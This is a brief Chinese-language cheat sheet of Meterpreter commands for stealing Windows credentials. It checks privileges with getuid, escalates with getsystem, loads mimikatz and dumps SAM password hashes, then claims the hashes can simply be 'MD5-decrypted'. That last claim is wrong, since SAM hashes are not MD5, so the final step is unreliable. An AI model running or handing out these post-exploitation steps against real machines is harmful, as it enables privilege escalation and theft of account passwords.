需要SYSTEM权限
查看权限:
getuid
若不是SYSTEM权限:
getsystem
载入mimikatz
load mimikatz
抓密码
mimikatz_command -f samdump::hashes
MD5解密就行了